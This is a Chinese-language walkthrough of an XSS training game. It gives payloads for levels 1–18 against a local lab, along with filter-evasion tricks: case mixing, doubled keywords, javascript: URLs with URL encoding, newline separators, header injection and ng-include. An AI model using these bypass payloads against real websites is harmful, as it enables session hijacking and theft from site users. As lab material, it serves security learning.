XSS挑战之旅---游戏通关攻略
最近发现一个有趣的XSS闯关小游戏,游戏的作者是先知社区的大佬Mramydnei,喜欢XSS的大家可以一起来学习交流。
现在我把自己在前面的十八关里面的闯关过程记录一下,大神绕行,我是菜鸟,大家可以一起学习,互相进步成长。
第一关,没有任何疑问,简单的不能再简单,没有任何过滤
输入点在url里面,参数name
输出点在页面里面,没有任何限制
所以可以构造payload
http://127.0.0.1/xss/level1.php?name=<script>confirm("完成的不错!")</script>
http://127.0.0.1/xss/level1.php?name=<script>prompt("完成的不错!")</script>
http://127.0.0.1/xss/level1.php?name=<script>alert("完成的不错!")</script>
XSS挑战之旅---level2
来到第二关,发现这次输入点在界面和url里面都有了
输出点还是在界面中
我们来尝试进行XSS试探
test"><script>confirm("完成的不错!")</script>
发现神奇的弹窗了,好吧,来看看源代码
显而易见,上面尖括号被过滤了,而下面却没有
这样的话,我们原来的payload是可以用的
test"><script>confirm("完成的不错!")</script>
test"><script>prompt("完成的不错!")</script>
test"><script>alert("完成的不错!")</script>
XSS挑战之旅---level3
来到第三关,前面都比较简单,就不具体叙述
输入点输出点见截图
这里过滤了尖括号
我们用事件来弹窗啦
' oninput=alert`1` //
' oninput=alert`1` '
' onchange=alert`1` //
' onchange=alert`1` '
XSS挑战之旅---level4
第四关和第三关基本一样,真搞不懂考察什么
无非就是把源码里面单引号变成了双引号,同样事件弹窗
payload:
" onchange=alert`1` "
" onchange=alert`1` //
" oninput=alert`1` "
" oninput=alert`1` //
XSS挑战之旅---level5
废话不多说了,剧情还是原来的剧情
直接上源码吧
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不错!");
window.location.href="level6.php?keyword=break it out!";
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和test相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword value="test">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:4</h3></body>
</html>
这次是on替换成了o_n script替换成了sc_ript
很明显这是不让我们用事件和script啊
不想多说了,我自己走了弯路
现在直接发我的payload:
"> <a href="javascript:%61lert(1)">click me</a> //
"> <a href="javascript:alert('xss')">111</a> //
"> <a href="javascript:alert(/1/)">axxx</a> //
XSS挑战之旅---level6
来到level6,这一关测试的主要是大小写问题,可以用大小写绕过技术
"> <Script>alert('handsome boy')</script> //
"> <img Src=x OnError=alert('xss')> //
有趣的事我自己用的编辑器也弹窗了,哈哈
XSS挑战之旅---level7
来到第七关,这一关是针对script和on的过滤,我们可以构造来绕过
" oonninput=alert(1) "
"> <scscriptript>alert`xss`</scscriptript> //
XSS挑战之旅---level8
来到了第八关,这一关难度加大,我们来继续
首先,我们需要先来进行测试一番
测试代码:
"'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>
' "><img src=x onerror=alert(2) x=
没有过滤:' > < % & #
过滤了:" src on script data
就是这些了,唉,头疼
输出点1:
<input name=keyword value=""'%&#></script><p class="onmouseover=" onmouseover="xx" onxxx="">xxx</p>">
这个服了,直接放弃
输出点2:
</center><center><BR><a href=""'%&#></scr_ipt><p class="o_nmouseover=" o_nmouseover="xx" o_nxxx="">xxx</p>">友情链接</a></center><center><img src=level8.jpg></center>
a标签内,href属性中,很明显,我们想到了协议绕过
Javascript:伪协议后面可以使用URL编码。
如:<a href="javascript:%61lert(1)">click me</a>可成功执行弹窗。
可用img就不行:<img src=1 onerror="javascript:%61lert(1)">
因为href属性会跳转到其中的URL,而会进行URL解码,onerror属性只会执行JS,不跳转同时后面的url编码可以再做一次entity(HTML实体)编码:
<a href="javascript:%61lert(1)">click me</a>
ri ri
javascript:%61lert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
XSS挑战之旅---level9
本题目难点在于它会自动检测url,如果发现没有带http:// 内容则会显示不合法,那么应该如何绕过呢?
href必须带着url!
javascript:alert(1)//http://www.0aa.me //利用注释
javascript:%0dhttp://www.0aa.me%0dalert(1) //不能用注释的情况下
针对题目,我们可以适当修改一下
javascript:alert(1)//http://www.0aa.me
javascript:%0dhttp://www.0aa.me%0dalert(1) //
XSS挑战之旅---level10
http://127.0.0.1/xss/level10.php?keyword=well done!
输入点在url中,参数是keyword
首先测试以下过滤情况
' "><img src=x onerror=alert(2) x=
群友大神给的payload:
url=&t_sort=" type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort="; type="text" onclick="alert()
http://127.0.0.1/xss/level10.php?keyword=888888&t_sort=" type="" onclick="alert()
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=" onmouseover=alert(1) type="text"
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)
XSS挑战之旅---level11
我们从第十关走过来的,开始抓包,打开burp suit抓包看看
http://127.0.0.1/xss//level10.php?keyword=well done!&t_sort=8888" type="text" onmouseover="alert(666)
抓包以后观察,我们发现refer参数会输出到后面
修改refer参数就可以达到弹窗效果了
XSS挑战之旅---level12
继续抓包,这次参数在user-agent处,依照第11关的办法抓包改包
XSS挑战之旅---level13
来到了第十三关,这次修改的参数在cookie里面
XSS挑战之旅---level14
查看源码通过iframe标签引入了一个http://exofvoewer.org, 结合乌云爆出的
漏洞,上传一个含有xss代码的图片触发xss。
exif xss
XSS挑战之旅---level15
这里用了angularjs的ng-include,直接在包含的页面里用<script>
触发不了,用了img标签。
遵循SOP,只好调用第一关代码。
需要单引号包裹,否则变成注释。
paload:
/level15.php?src='level1.php?name=test<img src=1 onerror=alert(1)>'
AngularJS ng-include 指令
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
<element ng-include="filename" onload="expression" autoscroll="expression" ></element>
```
<ng-include src="filename" onload="expression" autoscroll="expression" ></ng-include>
```
<body><span class="ng-include:'level1.php?name=test<img src=1 onerror=alert(1)>'"></span></body>
XSS挑战之旅---level16
http://127.0.0.1/xss//level16.php?keyword=test
过滤空格,script,/,使用%0d %0a做分割符
payload:
/level16.php?keyword=<img%0Dsrc=1%0Donerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=1%0aonerror=alert(1)>
http://127.0.0.1/xss//level16.php?keyword=<img%0asrc=x%0donError=alert('xss')>
http://127.0.0.1/xss//level16.php?keyword=<iframe%0asrc=x%0donmouseover=alert`1`></iframe>
http://127.0.0.1/xss//level16.php?keyword=<svg%0aonload=alert`1`></svg>
XSS挑战之旅---level17
输入点在url,我们来寻找输出点
不要被flash迷惑。
输入点在url中,过滤了尖括号和双引号,用on事件触发。
payload:
/level17.php?arg01=a&arg02= onmouseover=alert(1)
http://127.0.0.1/xss//level17.php?arg01=a&arg02=b 8888 onmouseover=alert(1)
XSS挑战之旅---level18
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
感觉17题和18题没啥区别啊
payload:
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert(1)
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseout=alert`1`
http://127.0.0.1/xss//level18.php?arg01=a&arg02=b onmouseover=alert`1`
19关和20关属于Flash XSS,这里不再赘述,有兴趣的小伙伴们可以去深入学习。
源码下载地址:https://github.com/xyongsec/xss-
XSS挑战之旅---游戏通关攻略的更多相关文章
- Untrusted 游戏 通关攻略
这个游戏还不错,用了两个晚上的时间通过并写下解法.这个游戏通过修改JS代码来通关的游戏.很考验玩家的解决问题能力,同时也有一定的可玩性. 游戏地址 http://alexnisnevich.githu ...
- XSS挑战之旅平台通关练习
1.第一关 比较简单,测试语句: <svg/onload=alert(1)> <script>confirm(1)</script> <script>p ...
- XSS挑战之旅(通过看代码解题)
XSS 挑战之旅 level 1 没有什么过滤 payload: <script>alert(1)</script> level 2 php关键代码: echo "& ...
- imToken 测评通关攻略
imToken 测评通关攻略 2017-10-19 imToken 在 1.3.3 版本新增了用户风险测评系统, 目的是为了让更多的用户了解钱包安全知识以及区块链的基本概念, 从某种程度上提升了整个区 ...
- 微信小程序——【百景游戏小攻略】
微信小程序--[百景游戏小攻略] 本次课程小项目中的图片以及文章还未获得授权!请勿商用!未经授权,请勿转载! 博客班级 https://edu.cnblogs.com/campus/zjcsxy/SE ...
- Upload-labs 文件上传靶场通关攻略(上)
Upload-labs 文件上传靶场通关攻略(上) 文件上传是Web网页中常见的功能之一,通常情况下恶意的文件上传,会形成漏洞. 逻辑是这样的:用户通过上传点上传了恶意文件,通过服务器的校验后保存到指 ...
- upload-labs通关攻略(1-11关)
upload-labs通关攻略 upload-labs是练习文件上传很好的一个靶场,建议把upload-labs关卡全部练习一遍 1.下载安装 下载地址 链接:https://pan.baidu.co ...
- upload-labs通关攻略(全)
upload-labs通关攻略 upload-labs是练习文件上传很好的一个靶场,建议把upload-labs关卡全部练习一遍 1.下载安装 下载地址 链接:https://pan.baidu.co ...
- 经典DOS游戏皇帝攻略(曾经的回忆)
最完美攻略>>>>> -------------------------------------------------------------------------- ...
随机推荐
- XIX Open Cup named after E.V. Pankratiev. Grand Prix of Eurasia, Division 1.
A 签到. C 源点向每个软件连边.把每个软件拆成对应版本数个点,每个软件向版本连边.把每个conflict也看成一个点.每个版本向它对应的conflict连边,conflict向汇点连边.没有在co ...
- 【CF573E】Bear and Bowling
[CF573E]Bear and Bowling 题面 洛谷 题解 首先有一个贪心的结论: 我们一次加入每个数,对于\(\forall i\),位置\(i\)的贡献为\(V_i = k_i\times ...
- 从零和使用mxnet实现dropout
需求: 从零和使用mxnet实现dropout 数据集: 使用load_digits()手写数字数据集 要求: 使用1个掩藏层n_hidden1 = 36,激活函数为relu,损失函数为softmax ...
- Spring Boot 知识笔记(配置文件)
Spring boot 提供了两种常用的配置文件,properties和yml文件. 1.yml yml是YAML(YAML Ain't Markup Language)语言的文件,以数据为中心,比j ...
- linux 自动化安装系统 -KS文件
# Kickstart file automatically generated by anaconda. installharddrive --partition=sdb2 --dir=lang e ...
- 微信第三方平台代公众号发起网页授权 48001 api unauthorized 问题
https://api.weixin.qq.com/sns/oauth2/access_token?appid=APPID&secret=SECRET&code=CODE&gr ...
- Python【每日一问】33
问: [基础题1]:设计一个重量转换器,输入以“g”为单位的数字后返回换算成“kg”的结果 [基础题2]:设计一个求直角三角形斜边长的函数,比如直角边长分别为3和4,输出结果为:The right t ...
- Python【每日一问】31
问: [基础题]:有 n 个人围成一圈,顺序排号.从第一个人开始报数(从 1 到 3 报数) ,凡报到 3 的人退出圈子,问最后留下的是原来第几号的那位. (n由键盘输入,比如n=100) [提高题] ...
- django 中进程监控工具flower的使用
工程结构:请参考https://www.cnblogs.com/apple2016/p/11425307.html flower官方文档:https://flower.readthedocs.io/e ...
- 30分钟用 Laravel 实现一个博客
介绍 Laravel 是一款 MVC架构. 目前最流行的 PHP框架. Laravel的优点在于: 丰富的composer类库支持, 优雅的代码, 未来的主流框架(目前市场占有率最高的框架) Lara ...